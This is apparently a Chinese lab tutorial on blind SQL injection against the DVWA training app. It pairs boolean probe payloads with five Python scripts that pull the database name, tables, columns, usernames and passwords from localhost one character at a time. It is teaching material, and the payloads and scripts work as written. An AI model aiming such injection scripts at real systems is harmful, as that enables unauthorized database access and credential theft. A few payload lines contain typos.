简单SQL注入试探、二
DVWA——简单SQL注入小记
今天我们来记录简单的盲注过程
简单的SQL injection(blind)
Level:low
登陆后选择SQL Injection(Blind) 能看到这样的界面

我们先随便尝试几个查询,会发现他只有两种输出内容。
用户存在于数据库中

用户不存在于数据库中

这是盲注的一个特点,不会返回任何错误的信息,只会告诉你你所查询的东西是否存在于数据库中。
普通注入好比直接询问数据库什么东西是什么,而盲注的数据库只会回答“是”或者“不是”因此我们要构造问题让数据库回答是或者不是从而来获取信息。
同样我们尝试1 and 1=1和 1 and 1=2,发现两次结果相同,都是存在于数据库中。
我们猜测查询语句可能是通过字符查询,接着尝试 1' and '1'='1 和 1' and '1'='2 ,发现两次查询结果不相同,一次是正确,一次是错误。
这样我们就可以得到查询语句的确是通过字符查询的。
同样尝试 order by 查看该表中存在几列(虽然在这题中没什么用,但也可以尝试练手)
接下来我们要尝试判断该数据库的长度和名字了。
长度的话,我们可以通过length函数,length(database())表示数据库名字长度。
我们用1' and length(databse())>n# 来判断数据库名字的长度是否大于n多尝试几次即可得到数据库名字的长度。
最后我们通过1' and length(databse())=4# 来确定该数据库名字的长度为4。
然后我们编写python脚本代码。
这里需要注意的几个点:
1、用requests 请求传递的时候需要带上回话ID,不然的话,每次访问该DVWA平台都需要登陆,就不能发送正确的数据包。
2、在url中需要用url编码格式。
3、判断返回是否正确的方式可以是查询返回的页面中是否包含某个特殊字段。像该题中,正确的页面里包含了exists 而错误的页面中包含了MISSING,通过这两个可比较得到。
4、为什么使用盲注,是因为返回的界面只有正确和错误两种情况,而且在一般条件下我们设定数据库名字,表名字,列名字都是用常用的字幕和数字还有一些常用的符号来设定的,所以我们就大胆的猜测大概会使用'
,abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'这么些字符,我们只要一个个判断询问即可将整个数据库内容得知。
1. import requests
2. import re
3.
4. #通过之前的查询已得到数据库的长度
5. DBName_len=4
6.
7. s = requests.session()
8. #我们不仅要设置会话ID同样也要设置security的参数,因为在DVWA平台中有不同的级别使用的是相同的页面
9. s.cookies.set('PHPSESSID','0j39nrr2r4tggigj59hv0b4825')
10.s.cookies.set('security','low')
11.def getDBName(DBName_len):
12. DBName = ""
13. #url中表示要盲注的页面,后面跟着的id表示代码中是用get方法来获取id
14. #该句传递的参数是id=1' and left(database(),{0})='{1}'#&Submit=Submit#
15. #{0}和{1}的值会在之后进行设定
16. url= "http://localhost:8088/DVWA/vulnerabilities/sqli_blind/?id=1%27+and+left%28database%28%29%2C{0}%29%3D%27{1}%27%23&Submit=Submit#"
17. chars = ',abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
18. print("Start to retrieve database name...")
19.
20. for i in range( 1, DBName_len + 1):
21. print("Number of letter: " , i)
22. #设定一个判断的参数,在之后进行判断,如果一次完整的查询下来没有匹配到任何数据则停止
23. tempDBName = DBName
24. for char in chars:
25. print("Test letter " + char)
26. #因为这里我们用的是left函数而不是left、right互用,所以需要将之前查询的正确结果也带上,只有最后一位在查询
27. temp = DBName+char
28. #该句对url进行赋值
29. _url = url.format(i, temp)
30.
31. #通过requests.session().get()函数来获取返回的页面
32. response = s.get(_url)
33. #设定一个模式,exist
34. pattern = re.compile(r'exist')
35. #判断是否存在exist
36. match = pattern.search(response.text)
37. if match:
38. DBName += char
39. print("DBName is: " + DBName + "...")
40. break
41. #判断如果搜索完所有chars都无匹配则break
42. if tempDBName == DBName:
43. print("Letters too little! Program ended." )
44. break
45. #最后打印查询到的数据库名字
46. print("Retrieve completed! DBName is: " + DBName)
47.#调用该函数
48.getDBName(4)
最终得到的结果为:

接下来我们要查询数据库中的所有表名
只用修改代码中的url部分即可,使用left((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),{0})='{1}'#
1. import requests
2. import re
3.
4. s = requests.session()
5. #我们不仅要设置会话ID同样也要设置security的参数,因为在DVWA平台中有不同的级别使用的是相同的页面
6. s.cookies.set('PHPSESSID','0j39nrr2r4tggigj59hv0b4825')
7. s.cookies.set('security','low')
8. def getTableName():
9. TableName = ""
10. #url中表示要盲注的页面,后面跟着的id表示代码中是用get方法来获取id
11. #该句传递的参数是id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),{0})='{1}'#&Submit=Submit#
12. #{0}和{1}的值会在之后进行设定
13. url= "http://localhost:8088/DVWA/vulnerabilities/sqli_blind/?id=1%27+and+left%28%28select+group_concat%28table_name%29+from+information_schema.tables+where+table_schema=%27dvwa%27%29%2C{0}%29%3D%27{1}%27%23&Submit=Submit#"
14. chars = ',abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
15. print("Start to retrieve table name from dvwa...")
16. i = 1
17. while True:
18. print("Number of letter: " , i)
19. #设定一个判断的参数,在之后进行判断,如果一次完整的查询下来没有匹配到任何数据则停止
20. tempTableName = TableName
21. for char in chars:
22. print("Test letter " + char)
23. #因为这里我们用的是left函数而不是left、right互用,所以需要将之前查询的正确结果也带上,只有最后一位在查询
24. temp = TableName+char
25. #该句对url进行赋值
26. _url = url.format(i, temp)
28. #通过requests.session().get()函数来获取返回的页面
29. response = s.get(_url)
30.
31. #设定一个模式,exist
32. pattern = re.compile(r'exist')
33. #判断是否存在exist
34. match = pattern.search(response.text)
35. if match:
36. i+=1
37. TableName += char
38. print("TableName is: " + TableName + "...")
39. break
40. #判断如果搜索完所有chars都无匹配则break
41. if tempTableName == TableName:
42. print("Letters too little! Program ended." )
43. break
44. #最后打印查询到的数据库名字
45. print("Retrieve completed! AllTableName is: " + TableName)
46.#调用该函数
47.getTableName()
最终的结果为:

接下来我们得到了表名,同样查询列名,用left((select group_concat(column_name) from information_schema.columns where table_name='users'),{0})='{1}'#
1. import requests
2. import re
3.
4. s = requests.session()
5. #我们不仅要设置会话ID同样也要设置security的参数,因为在DVWA平台中有不同的级别使用的是相同的页面
6. s.cookies.set('PHPSESSID','0j39nrr2r4tggigj59hv0b4825')
7. s.cookies.set('security','low')
8. def getColumnName():
9. ColumnName = ""
10. #url中表示要盲注的页面,后面跟着的id表示代码中是用get方法来获取id
11. #该句传递的参数是id=1' and left((select group_concat(column_name) from information_schema.columns where table_name='users'),{0})='{1}'#&Submit=Submit#
12. #{0}和{1}的值会在之后进行设定
13. url= "http://localhost:8088/DVWA/vulnerabilities/sqli_blind/?id=1%27+and+left%28%28select+group_concat%28column_name%29+from+information_schema.columns+where+table_name=%27users%27%29%2C{0}%29%3D%27{1}%27%23&Submit=Submit#"
14. chars = ',abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
15. print("Start to retrieve column name from users...")
16. i = 1
17. while True:
18. print("Number of letter: " , i)
19. #设定一个判断的参数,在之后进行判断,如果一次完整的查询下来没有匹配到任何数据则停止
20. tempColumnName = ColumnName
21. for char in chars:
22. print("Test letter " + char)
23. #因为这里我们用的是left函数而不是left、right互用,所以需要将之前查询的正确结果也带上,只有最后一位在查询
24. temp = ColumnName+char
25. #该句对url进行赋值
26. _url = url.format(i, temp)
27. #通过requests.session().get()函数来获取返回的页面
28. response = s.get(_url)
29.
30. #设定一个模式,exist
31. pattern = re.compile(r'exist')
32. #判断是否存在exist
33. match = pattern.search(response.text)
34. if match:
35. i+=1
36. ColumnName += char
37. print("ColumnName is: " + ColumnName + "...")
38. break
39. #判断如果搜索完所有chars都无匹配则break
40. if tempColumnName == ColumnName:
41. print("Letters too little! Program ended." )
42. break
43. #最后打印查询到的数据库名字
44. print("Retrieve completed! AllColumnName is: " + ColumnName)
45.#调用该函数
46.getColumnName()
最终的结果为:

同样我们要查询的字段是user和password 在经过两次查询即可得到
使用 1' and left((select group_concat(user) from users),{0})='{1}'#
1. import requests
2. import re
3.
4. s = requests.session()
5. #我们不仅要设置会话ID同样也要设置security的参数,因为在DVWA平台中有不同的级别使用的是相同的页面
6. s.cookies.set('PHPSESSID','0j39nrr2r4tggigj59hv0b4825')
7. s.cookies.set('security','low')
8. def getUser():
9. User = ""
10. #url中表示要盲注的页面,后面跟着的id表示代码中是用get方法来获取id
11. #该句传递的参数是id=1' and left((select group_concat(user) from users),{0})='{1}'#&Submit=Submit#
12. #{0}和{1}的值会在之后进行设定
13. url= "http://localhost:8088/DVWA/vulnerabilities/sqli_blind/?id=1%27+and+left%28%28select+group_concat%28user%29+from+users%29%2C{0}%29%3D%27{1}%27%23&Submit=Submit#"
14. chars = ',abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
15. print("Start to retrieve user from users...")
16. i = 1
17. while True:
18. print("Number of letter: " , i)
19. #设定一个判断的参数,在之后进行判断,如果一次完整的查询下来没有匹配到任何数据则停止
20. tempUser = User
21. for char in chars:
22. print("Test letter " + char)
23. #因为这里我们用的是left函数而不是left、right互用,所以需要将之前查询的正确结果也带上,只有最后一位在查询
24. temp = User+char
25. #该句对url进行赋值
26. _url = url.format(i, temp)
27. #通过requests.session().get()函数来获取返回的页面
28. response = s.get(_url)
29.
30. #设定一个模式,exist
31. pattern = re.compile(r'exist')
32. #判断是否存在exist
33. match = pattern.search(response.text)
34. if match:
35. i+=1
36. User += char
37. print("User is: " + User + "...")
38. break
39. #判断如果搜索完所有chars都无匹配则break
40. if tempUser == User:
41. print("Letters too little! Program ended." )
42. break
43. #最后打印查询到的数据库名字
44. print("Retrieve completed! AllUser is: " + User)
45.#调用该函数
46.getUser()
最终的结果为:

然后使用 1' and left((select group_concat(password) from users),{0}='{1}'#
1. import requests
2. import re
3.
4. s = requests.session()
5. #我们不仅要设置会话ID同样也要设置security的参数,因为在DVWA平台中有不同的级别使用的是相同的页面
6. s.cookies.set('PHPSESSID','0j39nrr2r4tggigj59hv0b4825')
7. s.cookies.set('security','low')
8. def getPassword():
9. Password = ""
10. #url中表示要盲注的页面,后面跟着的id表示代码中是用get方法来获取id
11. #该句传递的参数是id=1' and left((select group_concat(password) from users),{0}='{1}'#&Submit=Submit#
12. #{0}和{1}的值会在之后进行设定
13. url= "http://localhost:8088/DVWA/vulnerabilities/sqli_blind/?id=1%27+and+left%28%28select+group_concat%28password%29+from+users%29%2C{0}%29%3D%27{1}%27%23&Submit=Submit#"
14. chars = ',abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
15. print("Start to retrieve Password from users...")
16. i = 1
17. while True:
18. print("Number of letter: " , i)
19. #设定一个判断的参数,在之后进行判断,如果一次完整的查询下来没有匹配到任何数据则停止
20. tempPassword = Password
21. for char in chars:
22. print("Test letter " + char)
23. #因为这里我们用的是left函数而不是left、right互用,所以需要将之前查询的正确结果也带上,只有最后一位在查询
24. temp = Password+char
25. #该句对url进行赋值
26. _url = url.format(i, temp)
27. #通过requests.session().get()函数来获取返回的页面
28. response = s.get(_url)
29.
30. #设定一个模式,exist
31. pattern = re.compile(r'exist')
32. #判断是否存在exist
33. match = pattern.search(response.text)
34. if match:
35. i+=1
36. Password += char
37. print("Password is: " + Password + "...")
38. break
39. #判断如果搜索完所有chars都无匹配则break
40. if tempPassword == Password:
41. print("Letters too little! Program ended." )
42. break
43. #最后打印查询到的数据库名字
44. print("Retrieve completed! AllPassword is: " + Password)
45.#调用该函数
46.getPassword()
最终的结果为:

这样我们就用脚本跑出了数据库中的所有用户名和密码。
小结:
1、chars数组中,出现几率较大的可以排前面。
2、盲注也可以通过比大小的方式来进行二分搜索。
3、代码出现问题的时候可以通过print来显示信息,也可以用burpsuite来抓包查看到底传递了什么参数。
4、不要忘了一些特殊参数的设置,如会话ID和security等。
简单SQL注入试探、二的更多相关文章
- 简单SQL注入试探、一
DVWA——简单SQL注入小记 前不久刚开始接触SQL注入,今天来记录一些最近的一些收获和一些SQL注入方面的知识. 主要是基于DVWA这个开源的平台来进行练习. 废话不多说开始解题. 从简单的SQL ...
- SQL注入之二次,加解密,DNS等注入
#sql注入之二次注入 1.注入原理 二次注入可以理解为,构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入.恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当 ...
- SQL注入原理二
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多. 但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候 ,没有对用户输入数据的合法性进行判断,使应用程序存 ...
- sql注入总结(二)--2018自我整理
0x00前言: 继上篇的内容,这章总结下二次注入,python脚本,bypass 上篇sql注入总结(一)--2018自我整理 0x01二次注入: 二次注入的原理是在把非法代码添加进数据库里面存储了, ...
- 简单sql注入学习
sql注入是什么? 所谓SQL注入,就是通过把SQL命令插入到Web表单提 交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQ ...
- 170605、防止sql注入(二)
java filter防止sql注入攻击 原理,过滤所有请求中含有非法的字符,例如:, & < select delete 等关键字,黑客可以利用这些字符进行注入攻击,原理是后台实现使 ...
- 简单SQL注入
既然是简单的,估计也就是''字符型把,输入'or'1 以下是输出结果,or没被过滤,单引号也没有 呢么用union联合注入试试,提交了'-1 union/**/select 1 and '1,发现回显 ...
- 简单sql注入学到的延时盲注新式攻击
0x01 知识点 mysql_pconnect(server,user,pwd,clientflag) mysql_pconnect() 函数打开一个到 MySQL 服务器的持久连接. mysql_p ...
- 十七:SQL注入之二次加解密,DNS注入
加解密,二次,DNSlog注入 注入原理,演示案例,实际应用. less-21关,base64进行解密 encode加密decode解密 cookie处注入 判断加密算法,然后进行注入 less-24 ...
随机推荐
- log4j:ERROR setFile(null,true) call failed.错误解决
首先说明,我是用hive执行bin/hiveserver2时出现的这个错误.如下图所示,红框中的内容也清晰的告诉我们出错的原因和文件路径. 之后,我查看了一下该路径.发现我用的是beifeng的用户, ...
- DTC & MSDTC (待研究)
相关学习文档: Database Systems: The Complete Book
- Chrome浏览器控制网速的方法
- jq删除标签
<script>$(function(){ $("div").remove()})</script>
- Vue-cli安装,创建Vue项目
1.安装脚手架: npm install -g vue-cli 2.查看vue: vue 3.查看可以使用的模板: vue list 4.创建项目sell: vue init webpack sell ...
- 《Django企业开发实战 高效Python Web框架指南》胡阳
链接:https://pan.baidu.com/s/1NmN_IT5RvevCMt9bZCW1-g提取码:2ki9
- (CVE-2015-0240)Samba远程代码执行
简介 Samba 是利用 SMB 协议实现文件共享的一款著名开源工具套件.日前 Samba 曝出一个严重安全漏洞,该漏洞出现在 smbd 文件服务端,漏洞编号为 CVE-2015-0240,可以允许攻 ...
- linux SSH 登录
1: 远程连接linux server: ssh -p22 root@192.168.XXX.XXX 然后输入密码. 2: 免密码的方式: A: sudo -i B: ssh-keyge ...
- nginx rewrite 规则
rewrite功能:使用nginx提供的全局变量或自设定的变量,结合正则表达式和标志位实现url重写以及重定向. 配置域:server,localtion. flag标志位 last : 相当 ...
- 学习笔记:oracle学习一:oracle11g体系结构之物理存储结构
目录 1.物理存储结构 1.1 数据文件 1.2 控制文件 1.3 日志文件 1.3.1 重做日志文件 1.3.2 归档日志文件 1.4 服务器参数文件 1.4.1 查看服务器参数 1.4.2 修改服 ...